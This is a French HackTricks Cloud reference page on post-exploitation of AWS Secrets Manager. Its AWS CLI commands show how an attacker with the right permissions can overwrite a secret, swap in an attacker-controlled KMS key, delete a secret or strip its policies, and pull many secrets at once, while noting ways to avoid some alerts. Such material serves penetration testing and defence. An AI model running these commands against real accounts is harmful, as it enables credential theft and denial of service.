AWS - Secrets Manager Post Exploitation
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Secrets Manager
Pour plus dâinformations, consultez :
Lire les secrets
Les secrets eux-mĂȘmes sont des informations sensibles, consultez la page privesc pour apprendre comment les lire.
DoS Changer la valeur du secret
En changeant la valeur du secret, vous pourriez DoS tous les systÚmes qui dépendent de cette valeur.
Warning
Notez que les valeurs précédentes sont également stockées, il est donc facile de revenir à la valeur précédente.
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
DoS Change KMS key
Si lâattaquant dispose de la permission secretsmanager:UpdateSecret, il peut configurer le secret pour utiliser une KMS key appartenant Ă lâattaquant. Cette clĂ© est initialement configurĂ©e de maniĂšre Ă ce que nâimporte qui puisse y accĂ©der et lâutiliser, ce qui permet de mettre Ă jour le secret avec la nouvelle clĂ©. Si la clĂ© nâĂ©tait pas accessible, le secret ne pourrait pas ĂȘtre mis Ă jour.
AprĂšs avoir changĂ© la KMS key du secret, lâattaquant modifie la configuration de sa KMS key afin que seul lui puisse y accĂ©der. Ainsi, dans les versions ultĂ©rieures du secret, celui-ci sera chiffrĂ© avec la nouvelle KMS key et, comme il nây aura plus dâaccĂšs Ă celle-ci, la possibilitĂ© de rĂ©cupĂ©rer le secret sera perdue.
Il est important de noter que cette inaccessibilité ne se produira que dans les versions ultérieures, aprÚs que le contenu du secret aura changé, puisque la version actuelle est toujours chiffrée avec la KMS key originale.
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
DoS Deleting Secret
Le nombre minimum de jours pour supprimer un secret est de 7
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7
secretsmanager:RestoreSecret
Il est possible de restaurer un secret, ce qui permet de récupérer des secrets qui ont été programmés pour suppression, puisque la période minimale de suppression des secrets est de 7 jours et la maximale est de 30 jours. Associée à la permission secretsmanager:GetSecretValue, cela permet de récupérer leur contenu.
Pour récupérer un secret en cours de suppression, vous pouvez utiliser la commande suivante :
aws secretsmanager restore-secret \
--secret-id <Secret_Name>
secretsmanager:DeleteResourcePolicy
Cette action permet de supprimer la resource policy qui contrĂŽle qui peut accĂ©der Ă un secret. Cela pourrait entraĂźner un DoS si la resource policy Ă©tait configurĂ©e pour autoriser lâaccĂšs Ă un ensemble spĂ©cifique dâutilisateurs.
Pour supprimer la resource policy :
aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>
secretsmanager:UpdateSecretVersionStage
Les Ă©tats dâun secret servent Ă gĂ©rer ses versions. AWSCURRENT marque la version active utilisĂ©e par les applications, AWSPREVIOUS conserve la version prĂ©cĂ©dente pour pouvoir revenir en arriĂšre si nĂ©cessaire, et AWSPENDING est utilisĂ© dans le processus de rotation pour prĂ©parer et valider une nouvelle version avant de la rendre courante.
Les applications lisent toujours la version marquĂ©e AWSCURRENT. Si quelquâun dĂ©place ce label vers la mauvaise version, les applications utiliseront des identifiants invalides et risquent dâĂ©chouer.
AWSPREVIOUS nâest pas utilisĂ© automatiquement. Toutefois, si AWSCURRENT est supprimĂ© ou rĂ©affectĂ© incorrectement, il peut sembler que tout fonctionne encore avec la version prĂ©cĂ©dente.
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>
Mass Secret Exfiltration via BatchGetSecretValue (jusquâĂ 20 par appel)
Abuse the Secrets Manager BatchGetSecretValue API to retrieve up to 20 secrets in a single request. Cela peut rĂ©duire considĂ©rablement le volume dâappels API comparĂ© Ă lâitĂ©ration de GetSecretValue pour chaque secret. Si des filtres sont utilisĂ©s (tags/name), la permission ListSecrets est Ă©galement requise. CloudTrail enregistre nĂ©anmoins un Ă©vĂ©nement GetSecretValue par secret rĂ©cupĂ©rĂ© dans le batch.
Required permissions
- secretsmanager:BatchGetSecretValue
- secretsmanager:GetSecretValue pour chaque secret ciblé
- secretsmanager:ListSecrets si âfilters est utilisĂ©
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
Warning
Notez que la permission
secretsmanager:BatchGetSecretValuenâest pas suffisante pour rĂ©cupĂ©rer des secrets ; vous avez Ă©galement besoin desecretsmanager:GetSecretValuepour chaque secret que vous souhaitez rĂ©cupĂ©rer.
Exfiltrate by explicit list
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
Exfiltrer par filtres (tag key/value ou préfixe de nom)
# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'
# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20
# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp
Gestion des échecs partiels
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
Impact
- RĂ©cupĂ©ration rapide âsmash-and-grabâ de nombreux secrets avec moins dâappels API, pouvant potentiellement contourner des alertes configurĂ©es pour des pics de GetSecretValue.
- Les logs CloudTrail incluent toujours un événement GetSecretValue par secret récupéré par lot.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

